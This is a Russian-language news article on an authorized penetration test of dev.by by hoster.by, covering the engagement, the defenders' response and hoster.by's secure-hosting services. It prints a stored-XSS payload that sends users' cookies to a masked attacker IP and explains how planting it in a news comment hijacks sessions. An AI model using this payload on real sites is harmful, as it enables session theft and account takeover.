hoster.by пытался взломать dev.by
Разработчики сайта были к этому готовы: hoster.by тестировал нас на проникновение, три дня искал уязвимости в системе безопасности. Теперь рассказывает, что удалось и как не попасть под хакерскую атаку.
Разработчики сайта были к этому готовы: hoster.by тестировал нас на проникновение, три дня искал уязвимости в системе безопасности. Теперь рассказывает, что удалось и как не попасть под хакерскую атаку.
— Информация — ядро, без которой компания часто не может существовать. Допустим, кто-то взломал сайт. Это может пройти незаметно, но взломщик оставит бэкдор и будет ждать, пока кто-то из конкурентов не обратится к нему, чтобы эту компанию выжить с рынка. Или ребята откуда-нибудь из Бангладеш и Пакистана купили за 20 долларов скрипт и перебирают много-много сайтов — смотрят, где засветилась такая-то уязвимость. Потом приходят к владельцам сайта и пишут об этом. Если у компании есть программа поощрения, то она перечисляет им деньги, — говорит Николай Мельников, директор по стратегическому развитию hoster.by, «атакующая сторона».
— Мы решили предложить взломать dev.by, чтобы посмотреть свои силы и проверить хорошо ли защищён сайт. Многие компании не уделяют достаточно внимания информационной безопасности. Мы в hoster.by предлагаем максимально возможный уровень защиты от всех типов угроз.
— Злоумышленники, как правило, любят работать ночью, пока все спят. Мы же решили, что все будем делать в рабочее время. От dev.by была просьба, чтобы наши атаки не повлияли на работоспособность сайта. Поэтому у нас не было плана сломать сайт.
Они видели нашу активность по двум-трем IP-адресам и за этими адресами наблюдали. Мы не скрывались за прокси, за внешними айпишниками разных стран. Честно стучались с одного адреса, заранее обозначили себя: это — мы. Иначе они бы заметили какую-то подозрительную активность с некоего IP-адреса и просто бы его отключили — и смысл тогда нашего пентеста?
С нашей стороны в течение трех дней работали три человека, они запускали автоматические скрипты, смотрели, что происходит.
dev.by ставим плюс за то, что эти автоматические средства не дали практически никакой информации. Лишь к концу второго дня нам удалось найти первую уязвимость, хотя мы ожидали, что уже в первый день что-то сделаем.
Мы не пытались ддосить сайт. Начинающий Вася Пупкин с книгой «Хакер для чайников» мог бы попробовать, но его бы очень быстро отрубили бы: при использовании непрофессиональных инструментов такие атаки достаточно быстро обнаруживают и локализуют стандартными средствами как защищенного хостинга, так и самого провайдера. Zero-day уязвимостей не нашли. Всего нашли несколько уязвимостей.
Обнаружили XSS-уязвимость в настройках формы регистрации пользователей. Так смогли применить вредоносный JS-скрипт, собрать COOKIE пользователей и, используя их, войти в личный кабинет с правами администратора одной из компаний. Причина уязвимости — недостаточная валидация полей, заполняемых пользователем в личном кабинете. Из-за этого стала возможной запись на сервер хранимого JS-кода. В тесте использовался код: <script>eval (atob (new Image ().src=»http://ХХХ.ХХХ.ХХХ.ХХХ/agklx.php?c=«+document.cookie '));</script>
Для эксплуатации уязимости достаточно оставить комментарий с этим кодом (где ХХХ.ХХХ.ХХХ.ХХХ это IPV4-адрес сервера злоумышленника) в комментарии любой новости. После просмотра пользователем новости с таким комментарием в его браузере выполнялся вредоносный код, который отправлял COOKIE пользователей на сервер с указанным адресом. Если пользователь при этом был авторизован, то его авторизационные данные отправлялись вместе со всеми COOKIE хакеру.
Еще мы пробрались в админ-панель под учетной записью одного из сотрудников. Видели профили компаний и их вакансии. С большой долей вероятности, эту информацию можно было использовать со злым умыслом.
Сайт написан на Ruby, это не самый распространенный язык, и если бы в команде пентеста были специалисты по Ruby, мы бы, вероятно, еще что-то нашли. Найденные уязвимости были базовыми, про которые можно почитать на форумах. Но все равно мы получили эстетическое удовольствие от того, что нашли их.
Мы подумываем о том, чтобы выводить на коммерческие рельсы аналог пентеста, который мы делали для dev.by: делать тест на проникновение, выдавать рекомендации, а потом вместе с клиентом закрывать эти нюансы на нашей инфраструктуре.
Ближайшие планы — развивать линейку защищенных сервисов. Мы можем предложить размещаться в защищенном периметре 3ФЛ/3ЮЛ. Это информация узкого распространения, для бизнеса и государственных органов, вплоть до коммерческих тайн.
Государственные органы обязаны размещать свои ресурсы в защищенных периметрах у аттестованных поставщиков. Уже само государство начинает задумываться о сохранности информации, в то время как бизнес зачастую выбирает дешевый хостинг, обрекая себя на потенциальный риск.
Сейчас мы в процессе получения разрешения PCI-DSS — это сохранность данных пластиковых карт. Любая система, которая обрабатывает транзакции, должна быть правильно защищена, — это требование платежных систем к компаниям, которые выполняют процессинг. Это может быть как банк, так и компания-агрегатор. Либо бизнесмен будет сам тратить около 12 тысяч долларов на ежегодные проверки, сканирования, покупать дополнительный софт — либо придет к нам, арендует облако. Мы все эти сервисы уже купили и предлагаем в виде услуги, снимая головную боль и закрывая много регламентных вопросов, и самому бизнесмену останется закрыть лишь одну пятую часть регламентных требований оператора. Самый лайтовый стартовый тариф защищенного хостинга для бизнеса стоит всего 16 рублей в месяц.
Не могу сказать, все ли атаки мы видели, так как не знаю, что именно делалось. Но большую часть попыток проникновения мы видели. Мы видели, как идут запросы, у нас системы мониторинга по три-четыре-пять раз в сутки алертовали. Но в этот момент мы ничего не трогали, не исправляли, не блокировали — то есть, держали систему максимально в неподготовленном состоянии: была договоренность с hoster.by, что они тестируют систему как она есть на момент, когда мы приняли решение о пентесте. Но мы просили чуть-чуть снижать нагрузку, если видели, что в определенные точки идет по 10-20 тысяч запросов. Эта проблема была связана с тем, что в этот момент, наверное, случился какой-то инфоповод, на сайте было много людей, шло активное комментирование, около двухсот комментариев сразу, и мы просили не долбить так активно в рабочее время — мол, откладывайте это на вечер, на ночь. Просто от количества запросов система начинала захлебываться.
А в какие-то моменты мы подсматривали посильнее, потому что не могли понять, они ли это. Видели, что белорусские айпишники, но все же на сто процентов уверены быть не могли. Но латать мы ничего не латали, позволяя в какую-то точку сервиса слать десятки тысяч запросов. Для нас самих это было полезно, потому что некоторые части dev.by мы сами не знаем до конца. А раз уж мы получаем такой бесплатный аудит безопасности, то хотелось посмотреть, что и как, где прорвутся и что сделают.
У dev.by и читатели не совсем обычные, у многих прямо в браузерах установлены специальные плагины разработчиков, и они иногда нам пишут, что где-то что-то обнаружили. Но надо понимать, что против целенаправленных атак устоять достаточно тяжело.
И результат пентеста это подтверждает: через несколько дней ребята из hoster все-таки проникли. Мы увидели проникновение через две-три минуты, но с учетом времени на деплой полное исправление завершили за 10 минут.
В тот момент, когда они получили данные, мы сбросили все пользовательские токены, соответственно, все доступы они потеряли. Если бы это была реальная атака настоящих хакеров — то, конечно, даже за 10 минут можно было бы сделать достаточно много. Думаю, что начинающий хакер с самоучителем «для чайников» вряд ли бы обнаружил эту уязвимость, потому что надо понимать причинно-следственную связь: что откуда прилетает, что куда идет, где что отображается. Но сама по себе XSS-атака — одна из самых распространенных, одна из самых простых, их много где пытаются провести. Но все же надо понимать, в каком месте делать саму инъекцию, чтобы что-то действительно произошло.
Релоцировались? Теперь вы можете комментировать без верификации аккаунта.